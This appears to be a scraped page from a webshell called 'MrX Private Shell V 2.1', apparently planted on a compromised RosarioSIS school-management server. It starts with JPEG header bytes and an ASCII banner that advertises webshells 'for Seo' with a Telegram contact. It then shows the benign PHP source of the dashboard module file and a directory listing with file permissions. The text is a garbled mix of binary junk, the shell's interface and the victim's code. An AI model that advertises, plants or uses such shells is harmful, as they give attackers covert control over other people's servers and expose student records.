����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
/**
* Dashboard module
*
* @package RosarioSIS
* @subpackage ProgramFunctions
*/
if ( ! function_exists( 'DashboardModule' ) )
{
/**
* Dashboard Module Title HTML
*
* @uses DashboardModuleData, DashboardModuleTitle
* @example return DashboardModule( 'School_Setup', $data );
* @since 4.0
*
* @param string $module Module.
* @param string $data Icon image path.
* @return string Module Title and data HTML.
*/
function DashboardModule( $module, $data )
{
global $_ROSARIO;
// @todo export data.
$export = ! empty( $_ROSARIO['Dashboard']['export'] );
$html = '';
if ( ! empty( $data ) )
{
$html .= DashboardModuleData( $data );
}
if ( $html )
{
$html = DashboardModuleTitle( $module ) . $html;
}
return $html;
}
}
if ( ! function_exists( 'DashboardModuleTitle' ) )
{
/**
* Dashboard Module Title HTML
*
* @since 4.0
*
* @param string $module Module.
* @param string $icon Icon image path.
* @return string Module Title HTML.
*/
function DashboardModuleTitle( $module, $icon = '' )
{
global $_ROSARIO;
if ( ! empty( $_ROSARIO['Menu'][$module]['title'] ) )
{
$module_title = $_ROSARIO['Menu'][$module]['title'];
}
else
{
$module_title = _( str_replace( '_', ' ', $module ) );
}
ob_start();
?>
<h3 class="dashboard-module-title">
<span class="module-icon <?php echo $module; ?>"></span>
<?php echo $module_title; ?>
</h3>
<?php
return ob_get_clean();
}
}
if ( ! function_exists( 'DashboardModuleData' ) )
{
/**
* Dashboard Module Data HTML
* Will skip `null` data values.
*
* @since 4.0
*
* @param array $data Array containing values and their title as key.
* @param int $columns Number of columns to display. Optional. Defaults to 1 and 2 if data > 10.
* @return string Module data HTML
*/
function DashboardModuleData( $data, $columns = 0 )
{
require_once 'ProgramFunctions/TipMessage.fnc.php';
if ( empty( $data ) )
{
return '';
}
$first_value = reset( $data );
$first_key = key( $data );
unset( $data[$first_key] );
// Detail by Profile & Fail.
$cell = 0;
$message = '';
$data = array_filter( $data, function( $value ) {
return ! is_null( $value );
});
if ( $columns < 1 )
{
$columns = 1;
if ( count( $data ) >= 10 )
{
$columns = 2;
}
}
foreach ( $data as $title => $value )
{
$message .= '<td><span class="legend-gray">' .
$title . '</span></td><td>' . $value . '</td>';
if ( ++$cell % $columns === 0 )
{
$message .= '</tr><tr>';
}
}
if ( ! $message )
{
return '<div class="dashboard-module-data">' . NoInput( $first_value, $first_key ) . '</div>';
}
$message = '<table class="dashboard-module-data-tipmsg widefat col1-align-right"><tr>' .
$message . '</tr></table>';
return '<div class="dashboard-module-data">' .
MakeTipMessage( $message, $first_key, NoInput( $first_value, $first_key ) ) . '</div>';
}
}
if ( ! function_exists( 'DashboardSchool_Setup' ) )
{
/**
* Dashboard School module
*
* @since 4.0
*
* @return string Dashboard module HTML.
*/
function DashboardSchool_Setup()
{
require_once 'modules/School_Setup/includes/Dashboard.inc.php';
return DashboardDefaultSchoolSetup();
}
}
if ( ! function_exists( 'DashboardStudents' ) )
{
/**
* Dashboard Students module
*
* @since 4.0
*
* @return string Dashboard module HTML.
*/
function DashboardStudents()
{
require_once 'modules/Students/includes/Dashboard.inc.php';
return DashboardDefaultStudents();
}
}
if ( ! function_exists( 'DashboardUsers' ) )
{
/**
* Dashboard Users module
*
* @since 4.0
*
* @return string Dashboard module HTML.
*/
function DashboardUsers()
{
require_once 'modules/Users/includes/Dashboard.inc.php';
return DashboardDefaultUsers();
}
}
if ( ! function_exists( 'DashboardScheduling' ) )
{
/**
* Dashboard Schedulin module
*
* @since 4.0
*
* @return string Dashboard module HTML.
*/
function DashboardScheduling()
{
require_once 'modules/Scheduling/includes/Dashboard.inc.php';
return DashboardDefaultScheduling();
}
}
if ( ! function_exists( 'DashboardGrades' ) )
{
/**
* Dashboard Grades module
*
* @since 4.0
*
* @return string Dashboard module HTML.
*/
function DashboardGrades()
{
require_once 'modules/Grades/includes/Dashboard.inc.php';
return DashboardDefaultGrades();
}
}
if ( ! function_exists( 'DashboardAttendance' ) )
{
/**
* Dashboard Attendance module
*
* @since 4.0
*
* @return string Dashboard module HTML.
*/
function DashboardAttendance()
{
require_once 'modules/Attendance/includes/Dashboard.inc.php';
return DashboardDefaultAttendance();
}
}
if ( ! function_exists( 'DashboardEligibility' ) )
{
/**
* Dashboard Activities module
*
* @since 4.0
*
* @return string Dashboard module HTML.
*/
function DashboardEligibility()
{
require_once 'modules/Eligibility/includes/Dashboard.inc.php';
return DashboardDefaultEligibility();
}
}
if ( ! function_exists( 'DashboardDiscipline' ) )
{
/**
* Dashboard Disciplin module
*
* @since 4.0
*
* @return string Dashboard module HTML.
*/
function DashboardDiscipline()
{
require_once 'modules/Discipline/includes/Dashboard.inc.php';
return DashboardDefaultDiscipline();
}
}
if ( ! function_exists( 'DashboardAccounting' ) )
{
/**
* Dashboard Accounting module
*
* @since 4.0
*
* @return string Dashboard module HTML.
*/
function DashboardAccounting()
{
require_once 'modules/Accounting/includes/Dashboard.inc.php';
return DashboardDefaultAccounting();
}
}
if ( ! function_exists( 'DashboardStudent_Billing' ) )
{
/**
* Dashboard Student Billing module
*
* @since 4.0
*
* @return string Dashboard module HTML.
*/
function DashboardStudent_Billing()
{
require_once 'modules/Student_Billing/includes/Dashboard.inc.php';
return DashboardDefaultStudentBilling();
}
}
if ( ! function_exists( 'DashboardFood_Service' ) )
{
/**
* Dashboard Food Service module
*
* @since 4.0
*
* @return string Dashboard module HTML.
*/
function DashboardFood_Service()
{
require_once 'modules/Food_Service/includes/Dashboard.inc.php';
return DashboardDefaultFoodService();
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| PHPCompatibility | Folder | 0755 |
|
|
| Charts.fnc.php | File | 6.03 KB | 0644 |
|
| Dashboard.fnc.php | File | 2.79 KB | 0644 |
|
| DashboardModule.fnc.php | File | 6.17 KB | 0644 |
|
| Debug.fnc.php | File | 1.56 KB | 0644 |
|
| Fields.fnc.php | File | 20.17 KB | 0644 |
|
| FileUpload.fnc.php | File | 25.36 KB | 0644 |
|
| FirstLogin.fnc.php | File | 9.19 KB | 0644 |
|
| HackingLog.fnc.php | File | 2.41 KB | 0644 |
|
| Help.fnc.php | File | 5.03 KB | 0644 |
|
| Linkify.fnc.php | File | 1.19 KB | 0644 |
|
| MailingLabel.fnc.php | File | 3.7 KB | 0644 |
|
| MarkDownHTML.fnc.php | File | 6.87 KB | 0644 |
|
| PortalPollsNotes.fnc.php | File | 14.16 KB | 0644 |
|
| README | File | 267 B | 0644 |
|
| SchoolPeriodsSelectInput.fnc.php | File | 3.15 KB | 0644 |
|
| SendEmail.fnc.php | File | 5.05 KB | 0644 |
|
| SendNotification.fnc.php | File | 10.85 KB | 0644 |
|
| StudentsUsersInfo.fnc.php | File | 23.68 KB | 0644 |
|
| Substitutions.fnc.php | File | 7.63 KB | 0644 |
|
| Template.fnc.php | File | 3.21 KB | 0644 |
|
| Theme.fnc.php | File | 1.93 KB | 0644 |
|
| TipMessage.fnc.php | File | 3.7 KB | 0644 |
|
| Update.fnc.php | File | 35.17 KB | 0644 |
|
| UpdateV2_3.fnc.php | File | 16.27 KB | 0644 |
|
| UpdateV4_5.fnc.php | File | 58.61 KB | 0644 |
|
| UpdateV6_8_9.fnc.php | File | 22.19 KB | 0644 |
|
| UserAgent.fnc.php | File | 1.68 KB | 0644 |
|
| _makeLetterGrade.fnc.php | File | 4.03 KB | 0644 |
|
| _makePercentGrade.fnc.php | File | 2.73 KB | 0644 |
|
| miscExport.fnc.php | File | 2.17 KB | 0644 |
|